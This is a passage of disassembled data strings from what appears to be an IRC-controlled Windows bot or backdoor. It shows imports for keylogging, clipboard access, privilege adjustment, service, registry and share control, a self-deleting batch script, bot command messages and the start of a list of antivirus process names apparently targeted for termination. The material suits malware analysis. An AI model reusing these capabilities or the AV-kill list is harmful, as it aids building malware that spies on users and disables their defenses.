aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40E59D+63Ao align 4 dd 0 aAccept db 'accept',0 ; DATA XREF: sub_40E59D+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40E59D+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40E59D+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40E59D+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40E59D+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_40E59D+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_40E59D+5DFo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40E59D+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40E59D+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40E59D+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40E59D+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40E59D+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40E59D+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40E59D+577o dd 0 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40E59D+56Ao dd 0 aSocket db 'socket',0 ; DATA XREF: sub_40E59D+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40E59D+550o align 10h dd 0 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40E59D+543o align 8 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40E59D+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40E59D+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40E59D+51Co align 8 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40E59D+50Fo align 8 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40E59D+507o align 8 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40E59D+4F6o align 8 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40E59D+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40E59D+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40E59D+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40E59D+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40E59D+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40E59D+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40E59D+435o align 8 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40E59D+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40E59D+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40E59D:loc_40E9ACo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40E59D:loc_40E984o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40E59D+38Fo align 10h dd 0 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40E59D+382o dd 0 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40E59D+375o align 10h dd 0 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40E59D+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40E59D+35Bo align 8 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40E59D+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40E59D+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40E59D:loc_40E8D6o align 4 dd 0 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40E59D+309o align 8 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40E59D+2FCo align 10h dd 0 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40E59D:loc_40E891o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40E59D+2ACo align 8 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40E59D+29Fo dd 0 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40E59D+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40E59D+285o align 10h dd 0 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40E59D+278o align 8 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40E59D+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40E59D:loc_40E7FCo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40E59D+21Ao align 10h aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40E59D+20Do align 10h dd 0 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40E59D+200o dd 0 aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40E59D:loc_40E795o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40E59D+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40E59D+193o align 4 dd 0 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40E59D+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40E59D+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40E59D+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40E59D+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40E59D+152o dd 0 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40E59D+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40E59D:loc_40E6D2o ; sub_41F80A+Do align 4 dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40E59D:loc_40E6A5o align 8 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40E59D+A0o align 8 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40E59D+93o dd 0 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40E59D+86o dd 0 aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40E59D+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40E59D+6Co align 10h aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40E59D+5Fo align 8 aModule32first db 'Module32First',0 ; DATA XREF: sub_40E59D+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40E59D+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40E59D+38o align 4 dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40E59D+2Bo align 4 dd 0 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40E59D+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40E59D+Ao align 4 unk_4303AC db 2 ; DATA XREF: sub_40F54D+2F2o db 5Bh, 2, 20h db 2Dh ; - db 20h, 69h, 72h db 1Fh db 62h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aDllTestComplet db ' DLL test complete.',0 dd 2 dup(0) aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+2CCo align 4 dd 0 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+298o align 8 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+264o align 8 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+230o align 10h dd 0 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+1FCo align 10h dd 0 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+1C8o align 10h aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+194o align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+160o align 4 dd 0 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+12Co align 4 dd 0 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+F8o align 8 aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+C4o align 10h dd 0 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+90o align 10h dd 0 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+5Co align 10h aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40F54D+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40FC36+72o align 8 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40FD2B+5o ; sub_412583+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40FDCD+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40FF37+2o align 8 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40FF61+140o align 10h dd 0 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40FF61+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 dd 4 dup(0) aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40FF61+48o align 8 off_430648 dd offset aAdd ; DATA XREF: sub_41014B+6Dr ; sub_410626+50r ... ; "Add" off_43064C dd offset aAdded ; DATA XREF: sub_41014B+2Dr ; sub_410626+82r ... ; "Added" dword_430650 dd 0 ; DATA XREF: sub_41014B+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4306CCh, 4306C4h, 2, 4306B8h, 4306ACh, 3, 4 dup(0) aContinued db 'Continued',0 align 4 aContinue_0 db 'Continue',0 align 4 aPaused_0 db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043067Co align 10h aStop_0 db 'Stop',0 ; DATA XREF: .data:00430678o align 4 aStarted db 'Started',0 ; DATA XREF: .data:00430670o dd 0 aStart_0 db 'Start',0 ; DATA XREF: .data:0043066Co align 4 aListed db 'Listed',0 ; DATA XREF: .data:00430664o align 4 aList_0 db 'List',0 ; DATA XREF: .data:00430660o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:00430658o align 8 aDelete_0 db 'Delete',0 ; DATA XREF: .data:00430654o align 10h aAdded db 'Added',0 ; DATA XREF: .data:off_43064Co align 4 aAdd db 'Add',0 ; DATA XREF: .data:off_430648o unk_43072C db 2 ; DATA XREF: sub_41014B+74o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSNoServiceSpec db ' %s: No service specified.',0 align 4 dd 2 dup(0) unk_430764 db 2 ; DATA XREF: sub_41014B+55o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 10h unk_4307A0 db 2 ; DATA XREF: sub_41014B+38o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 align 10h aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4102BD+12Co align 8 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4102BD:loc_4103D5o align 4 dd 0 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4102BD:loc_4103CEo align 10h dd 0 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4102BD:loc_4103C7o db 'the state of the service.',0 align 10h dd 5 dup(0) aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4102BD:loc_4103C0o align 10h dd 2 dup(0) aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4102BD:loc_4103B9o db ' correct access rights.',0 align 4 dd 4 dup(0) aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4102BD:loc_4103B2o align 4 dd 2 dup(0) aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4102BD:loc_4103ABo align 4 dd 2 dup(0) aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4102BD:loc_4103A4o align 10h dd 3 dup(0) aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4102BD:loc_41039Do db 'marked for deletion.',0 align 4 dd 4 dup(0) aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4102BD:loc_410396o align 4 dd 2 dup(0) aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4102BD:loc_41036Bo align 4 dd 2 dup(0) aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4102BD:loc_410364o db ' the service.',0 align 4 dd 4 dup(0) aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4102BD:loc_41035Do db 'tServiceCtrlDispatcher.',0 align 4 dd 4 dup(0) aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4102BD:loc_410356o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4102BD+8Fo dd 0 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4102BD:loc_41032Bo db 'dependent on it.',0 align 10h dd 4 dup(0) aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4102BD:loc_410321o dd 2 dup(0) aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4102BD:loc_410317o dd 3 dup(0) aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4102BD:loc_41030Do align 10h aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4102BD:loc_410303o align 4 dd 2 dup(0) aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4102BD+3Co align 4 dd 2 dup(0) aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_41049A+EBo dd 0 aStopped db ' Stopped',0 ; DATA XREF: sub_41049A:loc_410566o dd 0 aStarting db ' Starting',0 ; DATA XREF: sub_41049A:loc_41055Fo dd 0 aStoping db ' Stoping',0 ; DATA XREF: sub_41049A:loc_410558o dd 0 aRunning db ' Running',0 ; DATA XREF: sub_41049A:loc_410551o dd 0 aContinuing db ' Continuing',0 ; DATA XREF: sub_41049A:loc_41054Ao dd 0 aPausing db ' Pausing',0 ; DATA XREF: sub_41049A:loc_410543o dd 0 aPaused db ' Paused',0 ; DATA XREF: sub_41049A:loc_41053Co dd 0 aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41049A+9Bo dd 0 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41049A+25o align 4 dd 2 dup(0) unk_430E0C db 2 ; DATA XREF: sub_410626+ABo db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSNoShareSpecif db ' %s: No share specified.',0 align 4 dd 2 dup(0) unk_430E44 db 2 ; DATA XREF: sub_410626+89o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 10h unk_430E70 db 2 ; DATA XREF: sub_410626+57o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_410895+D0o align 4 dd 0 aNo db 'No',0 ; DATA XREF: sub_410895+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_410895+B5o unk_430ED4 db 2 ; DATA XREF: sub_410895+76o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aShareListError db ' Share list error: %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_410895+26o align 10h unk_430F50 db 2 ; DATA XREF: sub_4109FE+B6o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSNoUsernameSpe db ' %s: No username specified.',0 dd 3 dup(0) unk_430F8C db 2 ; DATA XREF: sub_4109FE+94o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 align 10h unk_430FD0 db 2 ; DATA XREF: sub_4109FE+6Do db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 10h unk_431000 db 2 ; DATA XREF: sub_410B94+394o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserInfoErrorL db ' User info error: <%ld>',0 dd 2 dup(0) aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_410B94+36Ao align 4 dd 0 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_410B94+33Fo align 10h aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_410B94+317o align 8 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_410B94+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_410B94+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_410B94+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_410B94+271o align 8 aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_410B94+246o align 4 dd 0 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_410B94+21Eo align 8 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_410B94+1F3o align 10h dd 0 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_410B94+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_410B94+1A0o align 4 dd 0 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_410B94+178o align 10h dd 0 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_410B94+14Do align 8 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_410B94+125o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_410B94+D4o align 10h aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_410B94+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_410B94+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_410B94+50o dd 0 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_411055+14Fo align 10h unk_4311E0 db 2 ; DATA XREF: sub_411055+F7o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_3 db ' %S',0 ; DATA XREF: sub_411055+BEo align 4 unk_431228 db 2 ; DATA XREF: sub_411055+7Ao db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aUserListErrorS db ' User list error: %s <%ld>',0 align 10h aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_411055+29o dd 2 dup(0) aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_411235:loc_411352o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_411235:loc_41134Bo align 8 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_411235:loc_411344o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_411235:loc_41133Do align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_411235:loc_411336o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_411235:loc_411319o db 'ord policy requirement.)',0 align 4 dd 4 dup(0) aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_411235:loc_411312o align 4 dd 0 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_411235:loc_41130Bo align 10h dd 0 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_411235+CFo db ' the domain.',0 align 4 dd 4 dup(0) aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_411235:loc_4112E0o dd 3 dup(0) aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_411235:loc_4112D9o dd 2 dup(0) aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_411235:loc_4112D2o dd 2 dup(0) aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_411235:loc_4112C8o align 4 dd 0 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_411235+89o align 8 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_411235:loc_4112A2o align 10h dd 0 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_411235:loc_411298o align 8 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_411235:loc_41128Eo align 10h aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_411235:loc_411284o align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_411235:loc_41127Ao align 4 dd 0 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_411235+3Bo align 10h dd 0 unk_4315C4 db 2 ; DATA XREF: sub_4113B6+ABo db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 align 4 dd 3 dup(0) unk_431604 db 2 ; DATA XREF: sub_4113B6+81o db 5Bh, 2, 20h db 2Dh ; - db 20h, 6Eh, 65h db 1Fh db 74h, 1Fh, 20h db 2Dh ; - db 20h, 2, 5Dh db 2 aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_431640 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4115A6:loc_411665o dd 0BB20025Dh aNotSupportedBy db ' Not supported by this system.',0 dd 3 dup(0) dword_431684 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4115A6:loc_411633o dd 0BB20025Dh aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 10h dd 3 dup(0) dword_4316CC dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4115A6:loc_4115FFo dd 0BB20025Dh aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 dd 2 dup(0) dword_431704 dd 20025B02h, 6C66202Dh, 64687375h, 1F731F6Eh, 2202D20h ; DATA XREF: sub_4115A6+49o dd 0BB20025Dh aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 10h dd 2 dup(0) dword_431748 dd 7530h ; DATA XREF: sub_411C89+12r off_43174C dd offset aAckwin32_exe ; DATA XREF: sub_411876+CBo ; "ACKWIN32.EXE" dd offset aAdaware_exe ; "ADAWARE.EXE" dd offset aAdvxdwin_exe ; "ADVXDWIN.EXE" dd offset aAgentsvr_exe ; "AGENTSVR.EXE" dd offset aAgentw_exe ; "AGENTW.EXE" dd offset aAlertsvc_exe ; "ALERTSVC.EXE" dd offset aAlevir_exe ; "ALEVIR.EXE" dd offset aAlogserv_exe ; "ALOGSERV.EXE" dd offset aAmon9x_exe ; "AMON9X.EXE" dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE" dd offset aAntivirus_exe ; "ANTIVIRUS.EXE" dd offset aAnts_exe ; "ANTS.EXE" dd offset aApimonitor_exe ; "APIMONITOR.EXE" dd offset aAplica32_exe ; "APLICA32.EXE" dd offset aApvxdwin_exe ; "APVXDWIN.EXE" dd offset aArr_exe ; "ARR.EXE" dd offset aAtcon_exe ; "ATCON.EXE" dd offset aAtguard_exe ; "ATGUARD.EXE" dd offset aAtro55en_exe ; "ATRO55EN.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtupdater_exe ; "ATUPDATER.EXE" dd offset aAtwatch_exe ; "ATWATCH.EXE" dd offset aAu_exe ; "AU.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAupdate_exe ; "AUPDATE.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutodown_exe ; "AUTODOWN.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutotrace_exe ; "AUTOTRACE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE" dd offset aAvconsol_exe ; "AVCONSOL.EXE" dd offset aAve32_exe ; "AVE32.EXE" dd offset aAvgcc32_exe ; "AVGCC32.EXE" dd offset aAvgctrl_exe ; "AVGCTRL.EXE" dd offset aAvgnt_exe ; "AVGNT.EXE" dd offset aAvgserv_exe ; "AVGSERV.EXE" dd offset aAvgserv9_exe ; "AVGSERV9.EXE" dd offset aAvguard_exe ; "AVGUARD.EXE" dd offset aAvgw_exe ; "AVGW.EXE" dd offset aAvkpop_exe ; "AVKPOP.EXE" dd offset aAvkserv_exe ; "AVKSERV.EXE" dd offset aAvkservice_exe ; "AVKSERVICE.EXE" dd offset aAvkwctl9_exe ; "AVKWCTl9.EXE" dd offset aAvltmain_exe ; "AVLTMAIN.EXE" dd offset aAvnt_exe ; "AVNT.EXE" dd offset aAvp_exe ; "AVP.EXE" dd offset aAvp32_exe ; "AVP32.EXE" dd offset aAvpcc_exe ; "AVPCC.EXE" dd offset aAvpdos32_exe ; "AVPDOS32.EXE" dd offset aAvpm_exe ; "AVPM.EXE" dd offset aAvptc32_exe ; "AVPTC32.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvpupd_exe ; "AVPUPD.EXE" dd offset aAvsched32_exe ; "AVSCHED32.EXE" dd offset aAvsynmgr_exe ; "AVSYNMGR.EXE" dd offset aAvwin95_exe ; "AVWIN95.EXE" dd offset aAvwinnt_exe ; "AVWINNT.EXE" dd offset aAvwupd_exe ; "AVWUPD.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupd32_exe ; "AVWUPD32.EXE" dd offset aAvwupsrv_exe ; "AVWUPSRV.EXE" dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE" dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aAvxquar_exe ; "AVXQUAR.EXE" dd offset aBackweb_exe ; "BACKWEB.EXE" dd offset aBargains_exe ; "BARGAINS.EXE" dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE" dd offset aBeagle_exe ; "BEAGLE.EXE" dd offset aBelt_exe ; "BELT.EXE" dd offset aBidef_exe ; "BIDEF.EXE" dd offset aBidserver_exe ; "BIDSERVER.EXE" dd offset aBipcp_exe ; "BIPCP.EXE" dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE" dd offset aBisp_exe ; "BISP.EXE" dd offset aBlackd_exe ; "BLACKD.EXE" dd offset aBlackice_exe ; "BLACKICE.EXE" dd offset aBlss_exe ; "BLSS.EXE" dd offset aBootconf_exe ; "BOOTCONF.EXE" dd offset aBootwarn_exe ; "BOOTWARN.EXE" dd offset aBorg2_exe ; "BORG2.EXE" dd offset aBpc_exe ; "BPC.EXE" dd offset aBrasil_exe ; "BRASIL.EXE" dd offset aBs120_exe ; "BS120.EXE" dd offset aBundle_exe ; "BUNDLE.EXE" dd offset aBvt_exe ; "BVT.EXE" dd offset aCcapp_exe ; "CCAPP.EXE" dd offset aCcevtmgr_exe ; 